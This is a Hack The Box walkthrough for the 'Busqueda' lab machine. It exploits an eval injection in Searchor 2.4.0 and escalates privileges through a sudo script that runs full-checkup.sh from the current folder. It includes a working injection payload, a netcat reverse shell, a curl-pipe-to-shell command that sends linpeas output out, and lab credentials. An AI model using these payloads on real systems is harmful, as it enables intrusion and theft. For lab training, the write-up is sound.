HTB Busqueda Walkthrough
As usual, a nice and simple BOX with two relatively simple exploits even for beginners. Let’s go.
The nmap scan:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-30 15:08 EDT
Nmap scan report for 10.10.11.208
Host is up (0.15s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_ 256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://searcher.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: searcher.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.86 seconds
port 80 responds to the “searcher.htb” domain. Put it in the /etc/hosts file.

It seems to be a search engine collector.
Wappalyzer reports python (3.10.6) and flask (2.1.2) technology.

The portal is based on version 2.4.0 of an open-source project called Searchor with the repository on git
Searching for exploits I found this:

Intercepting the calls using BurpSuite, I retrieve the request:
POST /search HTTP/1.1
Host: searcher.htb
Content-Length: 24
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://searcher.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://searcher.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
engine=Amazon&query=test
Let’s try to investigate the code in the repository, crossing the information of the eval reported in the vulnerability and the request towards the /search routing. Download the 2.4.0 version of the source code (https://github.com/ArjunSharda/Searchor/releases/tag/v2.4.0).
Search the POST method…
def search(engine, query, open, copy):
try:
url = eval(
f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
)
click.echo(url)
searchor.history.update(engine, query, url)
if open:
click.echo("opening browser...")
if copy:
click.echo("link copied to clipboard")
except AttributeError:
print("engine not recognized")
…and the Engine class:
class Engine(Enum):
Accuweather = "https://www.accuweather.com/en/search-locations?query={query}"
AlternativeTo = "https://alternativeto.net/browse/search/?q={query}"
Amazon = "https://www.amazon.com/s?k={query}"
AmazonWebServices = "https://aws.amazon.com/search/?searchQuery={query}"
AOL = "https://search.aol.com/aol/search?q={query}"
Apple = "https://www.apple.com/search/{query}"
[...]
Apparently, you can run some python code, it will be easier using the last parameter (open). Sniffing the request setting the “Auto redirect” check with BurpSuite…
POST /search HTTP/1.1
Host: searcher.htb
Content-Length: 39
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://searcher.htb
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://searcher.htb/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
engine=Amazon&query=test&auto_redirect=
It seems that the backend code only checks for the presence of the parameter, so I can’t take advantage of the “auto_redirect” parameter, I’ll have to use the “query” parameter. The purpose is to pass a value such that a command is executed in addition to the original one. Starting from the construction of the original string, then
f"Engine.{engine}.search('{query}', copy_url={copy}, open_web={open})"
we have to close the string at the point of the query parameter. Just pass the value as the query value
test')#
This will terminate the string with the single quote, close the search command with the closing parenthesis, and comment out everything that follows.
Since the search of the engine class accepts the remaining parameters with default values, there will be no problems, as the search method in this case will be launched specifying only the first parameter.
def search(self, query, open_web=False, copy_url=False, additional_queries: dict = None):
url = self.value.format(query=quote(query, safe=""))
if additional_queries:
url += ("?" if "?" not in self.value.split("/")[-1] else "&") + "&".join(
query + "=" + quote(query_val)
for query, query_val in additional_queries.items()
)
if open_web is True:
open_new_tab(url)
if copy_url is True:
pyperclip.copy(url)
return url
But now I have to try to inject the code I want to execute, but failing to concatenate another string, I take advantage of a trick that allows me to execute some code through the use of the format of a string. The output of the search command of the Engine class still returns a string, on which I can perform a format. Since there are no variable markers, the format will have no effect, but it will still allow me to execute some code. As usual, to test, I’ll run a curl to my listening machine to see if the injection was successful. The query parameter will then look something like this:
test').format(__import__('os').popen('curl%20http://10.10.14.151').read())#
By replacing the parameter on the BurpSuite and launching the request, the surprise is not long in coming.
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ php -S 10.10.14.151:80
[Sun Apr 30 17:34:23 2023] PHP 8.2.4 Development Server (http://10.10.14.151:80) started
[Sun Apr 30 18:00:30 2023] 10.10.11.208:38212 Accepted
[Sun Apr 30 18:00:30 2023] 10.10.11.208:38212 [404]: GET / - No such file or directory
[Sun Apr 30 18:00:30 2023] 10.10.11.208:38212 Closing
Perfect, it works, let’s convert curl to a reverse shell and activate our listener.
test').format(__import__('os').popen('rm%20-f%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202>%261|nc%2010.10.14.151%204444%20>/tmp/f').read())#
The BurpSuite will do the rest!
┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.151] from searcher.htb [10.10.11.208] 37746
/bin/sh: 0: can't access tty; job control turned off
$ whoami
svc
Navigate to the home folder and let’s find out he’s the user with the flag.
$ cat user.txt
f******************************2
Spawned a tty shell to test the sudo command but this user cannot launch sudo without a password. So, launch linpeas as usual, without leaving any trace.
Download linpeas and start the php native web server.
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.208 - Busqueda (lin)/attack/upld]
└─$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20230425-bd7331ea/linpeas.sh
--2023-05-01 15:22:07-- https://github.com/carlospolop/PEASS-ng/releases/download/20230425-bd7331ea/linpeas.sh
Resolving github.com (github.com)... 140.82.121.3
Connecting to github.com (github.com)|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/ba2c0404-93e2-44d5-a884-e5c0a3af4a1a?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230501%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230501T192141Z&X-Amz-Expires=300&X-Amz-Signature=f1406d9bc0d84625cf1e57d0cbff85ba838dd4afbda36a5a4beee2260e83a21d&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=165548191&response-content-disposition=attachment%3B%20filename%3Dlinpeas.sh&response-content-type=application%2Foctet-stream [following]
--2023-05-01 15:22:08-- https://objects.githubusercontent.com/github-production-release-asset-2e65be/165548191/ba2c0404-93e2-44d5-a884-e5c0a3af4a1a?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIWNJYAX4CSVEH53A%2F20230501%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20230501T192141Z&X-Amz-Expires=300&X-Amz-Signature=f1406d9bc0d84625cf1e57d0cbff85ba838dd4afbda36a5a4beee2260e83a21d&X-Amz-SignedHeaders=host&actor_id=0&key_id=0&repo_id=165548191&response-content-disposition=attachment%3B%20filename%3Dlinpeas.sh&response-content-type=application%2Foctet-stream
Resolving objects.githubusercontent.com (objects.githubusercontent.com)... 185.199.108.133, 185.199.109.133, 185.199.110.133, ...
Connecting to objects.githubusercontent.com (objects.githubusercontent.com)|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 830030 (811K) [application/octet-stream]
Saving to: ‘linpeas.sh’
linpeas.sh 100%[=============================================================================================================>] 810.58K --.-KB/s in 0.1s
2023-05-01 15:22:09 (5.56 MB/s) - ‘linpeas.sh’ saved [830030/830030]
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.11.208 - Busqueda (lin)/attack/upld]
└─$ php -S 10.10.14.151:80
[Mon May 1 15:22:12 2023] PHP 8.2.4 Development Server (http://10.10.14.151:80) started
Then start the netcat listener that will receive the scan output.
nc -lp 4445 | tee lpeasout.file
And finally, launch the attack on the remote machine.
$ curl http://10.10.14.151/linpeas.sh | sh | nc 10.10.14.151 4445
curl http://10.10.14.151/linpeas.sh | sh | nc 10.10.14.151 4445
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
49 810k 49 404k 0 0 16872 0 0:00:49 0:00:24 0:00:25 16873uniq: write error: Broken pipe. . . . . . . . . . . . . . . . . . . . . . . . . . . .
62 810k 62 504k 0 0 19232 0 0:00:43 0:00:26 0:00:17 19233cat: write error: Broken pipe
cat: write error: Broken pipe
sed: -e expression #1, char 0: no previous regular expression
100 810k 100 810k 0 0 7119 0 0:01:56 0:01:56 --:--:-- 5756
sh: 3672: [: not found
uniq: write error: Broken pipe
grep: write error: Broken pipe
grep: write error: Broken pipe
sh: 5415: Syntax error: Unterminated quoted string
Let the scan complete (check your netcat session).
linpeas output, interesting poits
[...]
══╣ PHP exec extensions
drwxr-xr-x 2 root root 4096 Dec 22 18:44 /etc/apache2/sites-enabled
drwxr-xr-x 2 root root 4096 Dec 22 18:44 /etc/apache2/sites-enabled
lrwxrwxrwx 1 root root 35 Dec 1 18:45 /etc/apache2/sites-enabled/000-default.conf -> ../sites-available/000-default.conf
<VirtualHost *:80>
ProxyPreserveHost On
ServerName searcher.htb
ServerAdmin admin@searcher.htb
ProxyPass / http://127.0.0.1:5000/
ProxyPassReverse / http://127.0.0.1:5000/
RewriteEngine On
RewriteCond %{HTTP_HOST} !^searcher.htb$
RewriteRule /.* http://searcher.htb/ [R]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ProxyPreserveHost On
ServerName gitea.searcher.htb
ServerAdmin admin@searcher.htb
ProxyPass / http://127.0.0.1:3000/
ProxyPassReverse / http://127.0.0.1:3000/
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
[...]
-rw-rw-r-- 1 svc svc 76 Apr 3 08:58 /home/svc/.gitconfig
[user]
email = cody@searcher.htb
name = cody
[core]
hooksPath = no-hooks
[...]
╔══════════╣ Checking if containerd(ctr) is available
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation
ctr was found in /usr/bin/ctr, you may be able to escalate privileges with it
ctr: failed to dial "/run/containerd/containerd.sock": connection error: desc = "transport: error while dialing: dial unix /run/containerd/containerd.sock: connect: permission denied"
╔══════════╣ Checking if runc is available
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation
runc was found in /usr/sbin/runc, you may be able to escalate privileges with it
╔══════════╣ Searching docker files (limit 70)
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation
lrwxrwxrwx 1 root root 33 Dec 21 19:13 /etc/systemd/system/sockets.target.wants/docker.socket -> /lib/systemd/system/docker.socket
-rw-r--r-- 1 root root 175 Jan 3 18:47 /usr/lib/systemd/system/docker.socket
-rw-r--r-- 1 root root 477 Jun 15 2022 /usr/local/lib/node_modules/pm2/node_modules/@pm2/io/docker-compose.yml
-rw-r--r-- 1 root root 0 Dec 21 19:13 /var/lib/systemd/deb-systemd-helper-enabled/sockets.target.wants/docker.socket
[...]
Found an additional domain (gitea.searcher.htb), insert it on the /etc/hosts file and try to navigate.
Gitea Version: 1.18.0+rc1
Searching for some exploit, I find something (even an RCE), but be being authenticated. After some more searching, I can’t find anything of interest, so, convinced that the next clue has something to do with git anyway, I search the repositories available in this BOX.
$ find / -name ".git" 2>/dev/null
find / -name ".git" 2>/dev/null
/var/www/app/.git
/opt/scripts/.git
After searching the repository a bit, without much success, and not knowing exactly how to proceed, I start searching online and come across an interesting article.
$ cat .git/config
cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[remote "origin"]
url = http://cody:jh1usoih2bkjaspwe92@gitea.searcher.htb/cody/Searcher_site.git
fetch = +refs/heads/*:refs/remotes/origin/*
[branch "main"]
remote = origin
merge = refs/heads/main
It seems that I have found what I was looking for and finally can access the gitea portal. So, I can come back on one of the previous exploits that need credentials.
Unfortunately I can’t even create a new repository. Anyway, I can connect via ssh using the password.
$ sudo -l
sudo -l
[sudo] password for svc: jh1usoih2bkjaspwe92
Matching Defaults entries for svc on busqueda:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin,
use_pty
User svc may run the following commands on busqueda:
(root) /usr/bin/python3 /opt/scripts/system-checkup.py *
Even though I can run it, I can’t read it.
$ cat /opt/scripts/system-checkup.py
cat /opt/scripts/system-checkup.py
cat: /opt/scripts/system-checkup.py: Permission denied
So, try to execute.
$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
sudo /usr/bin/python3 /opt/scripts/system-checkup.py *
Usage: /opt/scripts/system-checkup.py <action> (arg1) (arg2)
docker-ps : List running docker containers
docker-inspect : Inpect a certain docker container
full-checkup : Run a full system checkup
$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
960873171e2e gitea/gitea:latest "/usr/bin/entrypoint…" 4 months ago Up 8 hours 127.0.0.1:3000->3000/tcp, 127.0.0.1:222->22/tcp gitea
f84a6b33fb5a mysql:8 "docker-entrypoint.s…" 4 months ago Up 8 hours 127.0.0.1:3306->3306/tcp, 33060/tcp mysql_db
$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
Usage: /opt/scripts/system-checkup.py docker-inspect <format> <container_name>
$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Something went wrong
I’ll probably have to use the docker command to elevate the privileges, but in the meantime let’s collect as much information as possible about the running containers as well.
$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' 960873171e2e
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' 960873171e2e
{"Id":"960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb","Created":"2023-01-06T17:26:54.457090149Z","Path":"/usr/bin/entrypoint","Args":["/bin/s6-svscan","/etc/s6"],"State":{"Status":"running","Running":true,"Paused":false,"Restarting":false,"OOMKilled":false,"Dead":false,"Pid":1828,"ExitCode":0,"Error":"","StartedAt":"2023-05-10T11:20:05.014741291Z","FinishedAt":"2023-04-04T17:03:01.71746837Z"},"Image":"sha256:6cd4959e1db11e85d89108b74db07e2a96bbb5c4eb3aa97580e65a8153ebcc78","ResolvConfPath":"/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/resolv.conf","HostnamePath":"/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/hostname","HostsPath":"/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/hosts","LogPath":"/var/lib/docker/containers/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb/960873171e2e2058f2ac106ea9bfe5d7c737e8ebd358a39d2dd91548afd0ddeb-json.log","Name":"/gitea","RestartCount":0,"Driver":"overlay2","Platform":"linux","MountLabel":"","ProcessLabel":"","AppArmorProfile":"docker-default","ExecIDs":null,"HostConfig":{"Binds":["/etc/timezone:/etc/timezone:ro","/etc/localtime:/etc/localtime:ro","/root/scripts/docker/gitea:/data:rw"],"ContainerIDFile":"","LogConfig":{"Type":"json-file","Config":{}},"NetworkMode":"docker_gitea","PortBindings":{"22/tcp":[{"HostIp":"127.0.0.1","HostPort":"222"}],"3000/tcp":[{"HostIp":"127.0.0.1","HostPort":"3000"}]},"RestartPolicy":{"Name":"always","MaximumRetryCount":0},"AutoRemove":false,"VolumeDriver":"","VolumesFrom":[],"CapAdd":null,"CapDrop":null,"CgroupnsMode":"private","Dns":[],"DnsOptions":[],"DnsSearch":[],"ExtraHosts":null,"GroupAdd":null,"IpcMode":"private","Cgroup":"","Links":null,"OomScoreAdj":0,"PidMode":"","Privileged":false,"PublishAllPorts":false,"ReadonlyRootfs":false,"SecurityOpt":null,"UTSMode":"","UsernsMode":"","ShmSize":67108864,"Runtime":"runc","ConsoleSize":[0,0],"Isolation":"","CpuShares":0,"Memory":0,"NanoCpus":0,"CgroupParent":"","BlkioWeight":0,"BlkioWeightDevice":null,"BlkioDeviceReadBps":null,"BlkioDeviceWriteBps":null,"BlkioDeviceReadIOps":null,"BlkioDeviceWriteIOps":null,"CpuPeriod":0,"CpuQuota":0,"CpuRealtimePeriod":0,"CpuRealtimeRuntime":0,"CpusetCpus":"","CpusetMems":"","Devices":null,"DeviceCgroupRules":null,"DeviceRequests":null,"KernelMemory":0,"KernelMemoryTCP":0,"MemoryReservation":0,"MemorySwap":0,"MemorySwappiness":null,"OomKillDisable":null,"PidsLimit":null,"Ulimits":null,"CpuCount":0,"CpuPercent":0,"IOMaximumIOps":0,"IOMaximumBandwidth":0,"MaskedPaths":["/proc/asound","/proc/acpi","/proc/kcore","/proc/keys","/proc/latency_stats","/proc/timer_list","/proc/timer_stats","/proc/sched_debug","/proc/scsi","/sys/firmware"],"ReadonlyPaths":["/proc/bus","/proc/fs","/proc/irq","/proc/sys","/proc/sysrq-trigger"]},"GraphDriver":{"Data":{"LowerDir":"/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34-init/diff:/var/lib/docker/overlay2/bd9193f562680204dc7c46c300e3410c51a1617811a43c97dffc9c3ee6b6b1b8/diff:/var/lib/docker/overlay2/df299917c1b8b211d36ab079a37a210326c9118be26566b07944ceb4342d3716/diff:/var/lib/docker/overlay2/50fb3b75789bf3c16c94f888a75df2691166dd9f503abeadabbc3aa808b84371/diff:/var/lib/docker/overlay2/3668660dd8ccd90774d7f567d0b63cef20cccebe11aaa21253da056a944aab22/diff:/var/lib/docker/overlay2/a5ca101c0f3a1900d4978769b9d791980a73175498cbdd47417ac4305dabb974/diff:/var/lib/docker/overlay2/aac5470669f77f5af7ad93c63b098785f70628cf8b47ac74db039aa3900a1905/diff:/var/lib/docker/overlay2/ef2d799b8fba566ee84a45a0070a1cf197cd9b6be58f38ee2bd7394bb7ca6560/diff:/var/lib/docker/overlay2/d45da5f3ac6633ab90762d7eeac53b0b83debef94e467aebed6171acca3dbc39/diff","MergedDir":"/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/merged","UpperDir":"/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/diff","WorkDir":"/var/lib/docker/overlay2/6427abd571e4cb4ab5c484059a500e7f743cc85917b67cb305bff69b1220da34/work"},"Name":"overlay2"},"Mounts":[{"Type":"bind","Source":"/root/scripts/docker/gitea","Destination":"/data","Mode":"rw","RW":true,"Propagation":"rprivate"},{"Type":"bind","Source":"/etc/localtime","Destination":"/etc/localtime","Mode":"ro","RW":false,"Propagation":"rprivate"},{"Type":"bind","Source":"/etc/timezone","Destination":"/etc/timezone","Mode":"ro","RW":false,"Propagation":"rprivate"}],"Config":{"Hostname":"960873171e2e","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"22/tcp":{},"3000/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["USER_UID=115","USER_GID=121","GITEA__database__DB_TYPE=mysql","GITEA__database__HOST=db:3306","GITEA__database__NAME=gitea","GITEA__database__USER=gitea","GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","USER=git","GITEA_CUSTOM=/data/gitea"],"Cmd":["/bin/s6-svscan","/etc/s6"],"Image":"gitea/gitea:latest","Volumes":{"/data":{},"/etc/localtime":{},"/etc/timezone":{}},"WorkingDir":"","Entrypoint":["/usr/bin/entrypoint"],"OnBuild":null,"Labels":{"com.docker.compose.config-hash":"e9e6ff8e594f3a8c77b688e35f3fe9163fe99c66597b19bdd03f9256d630f515","com.docker.compose.container-number":"1","com.docker.compose.oneoff":"False","com.docker.compose.project":"docker","com.docker.compose.project.config_files":"docker-compose.yml","com.docker.compose.project.working_dir":"/root/scripts/docker","com.docker.compose.service":"server","com.docker.compose.version":"1.29.2","maintainer":"maintainers@gitea.io","org.opencontainers.image.created":"2022-11-24T13:22:00Z","org.opencontainers.image.revision":"9bccc60cf51f3b4070f5506b042a3d9a1442c73d","org.opencontainers.image.source":"https://github.com/go-gitea/gitea.git","org.opencontainers.image.url":"https://github.com/go-gitea/gitea"}},"NetworkSettings":{"Bridge":"","SandboxID":"576957ba1f33c882828ded9fba9c24391773af2cc643a05e04a6965a95796655","HairpinMode":false,"LinkLocalIPv6Address":"","LinkLocalIPv6PrefixLen":0,"Ports":{"22/tcp":[{"HostIp":"127.0.0.1","HostPort":"222"}],"3000/tcp":[{"HostIp":"127.0.0.1","HostPort":"3000"}]},"SandboxKey":"/var/run/docker/netns/576957ba1f33","SecondaryIPAddresses":null,"SecondaryIPv6Addresses":null,"EndpointID":"","Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"IPAddress":"","IPPrefixLen":0,"IPv6Gateway":"","MacAddress":"","Networks":{"docker_gitea":{"IPAMConfig":null,"Links":null,"Aliases":["server","960873171e2e"],"NetworkID":"cbf2c5ce8e95a3b760af27c64eb2b7cdaa71a45b2e35e6e03e2091fc14160227","EndpointID":"9cf85d867982a52a948f0346fa13fbe87bd2244ef427973aa671a2a76cb92b3f","Gateway":"172.19.0.1","IPAddress":"172.19.0.2","IPPrefixLen":16,"IPv6Gateway":"","GlobalIPv6Address":"","GlobalIPv6PrefixLen":0,"MacAddress":"02:42:ac:13:00:02","DriverOpts":null}}}}
And the environment variables section is really cool.
[...]
"Env":[
"USER_UID=115",
"USER_GID=121",
"GITEA__database__DB_TYPE=mysql",
"GITEA__database__HOST=db:3306",
"GITEA__database__NAME=gitea",
"GITEA__database__USER=gitea",
"GITEA__database__PASSWD=yuiu1hoiu4i5ho1uh",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"USER=git",
"GITEA_CUSTOM=/data/gitea"
],
[...]
Obviously, the environment section of the second container is equally attractive.
[...]
"Env":[
"MYSQL_ROOT_PASSWORD=jI86kGUuj87guWr3RyF",
"MYSQL_USER=gitea",
"MYSQL_PASSWORD=yuiu1hoiu4i5ho1uh",
"MYSQL_DATABASE=gitea",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"GOSU_VERSION=1.14",
"MYSQL_MAJOR=8.0",
"MYSQL_VERSION=8.0.31-1.el8",
"MYSQL_SHELL_VERSION=8.0.31-1.el8"
],
[...]
Passwords don’t seem, in any case, to be useful. Since the script appeared to use the docker command anyway, I tried hard to exploit that, trying passing additional commands and injecting alternative commands, but without success. Then I took a look at the folder where the script is located and found a couple of interesting clues.
-bash-5.1$ ls -la /opt/scripts/
total 28
drwxr-xr-x 3 root root 4096 Dec 24 18:23 .
drwxr-xr-x 4 root root 4096 Mar 1 10:46 ..
-rwx--x--x 1 root root 586 Dec 24 21:23 check-ports.py
-rwx--x--x 1 root root 857 Dec 24 21:23 full-checkup.sh
drwxr-x--- 8 root root 4096 Apr 3 15:04 .git
-rwx--x--x 1 root root 3346 Dec 24 21:23 install-flask.sh
-rwx--x--x 1 root root 1903 Dec 24 21:23 system-checkup.py
Inside the folder is a script named after the third argument that takes the original script and there appears to be a git repository. However, I don’t have permission to read the files inside, but let’s try to proceed on this new path.
-bash-5.1$ git status
fatal: not a git repository (or any of the parent directories): .git
-bash-5.1$ ls -la .git
ls: cannot open directory '.git': Permission denied
The git repository route is to be abandoned; the script file remains.
-bash-5.1$ sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
[=] Docker conteainers
{
"/gitea": "running"
}
{
"/mysql_db": "running"
}
[=] Docker port mappings
{
"22/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "222"
}
],
"3000/tcp": [
{
"HostIp": "127.0.0.1",
"HostPort": "3000"
}
]
}
[=] Apache webhosts
[+] searcher.htb is up
[+] gitea.searcher.htb is up
[=] PM2 processes
┌─────┬────────┬─────────────┬─────────┬─────────┬──────────┬────────┬──────┬───────────┬──────────┬──────────┬──────────┬──────────┐
│ id │ name │ namespace │ version │ mode │ pid │ uptime │ ↺ │ status │ cpu │ mem │ user │ watching │
├─────┼────────┼─────────────┼─────────┼─────────┼──────────┼────────┼──────┼───────────┼──────────┼──────────┼──────────┼──────────┤
│ 0 │ app │ default │ N/A │ fork │ 1655 │ 28h │ 0 │ online │ 0% │ 31.0mb │ svc │ disabled │
└─────┴────────┴─────────────┴─────────┴─────────┴──────────┴────────┴──────┴───────────┴──────────┴──────────┴──────────┴──────────┘
[+] Done!
Oh oh… the command that didn’t work before now seems to execute correctly, so it runs a script with that name contained in the folder you are in!
-bash-5.1$ echo -e '#!/bin/bashncat /root/root.txt' > full-checkup.sh && chmod +x full-checkup.sh && sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
d24d04fb75637b25c945648390008608
[+] Done!
And after a few simple tries, we have our root flag!
That’s all folks, as usual, see you at the next BOX, have an excellent hacking (in legal), bye.
Secjuice – Read More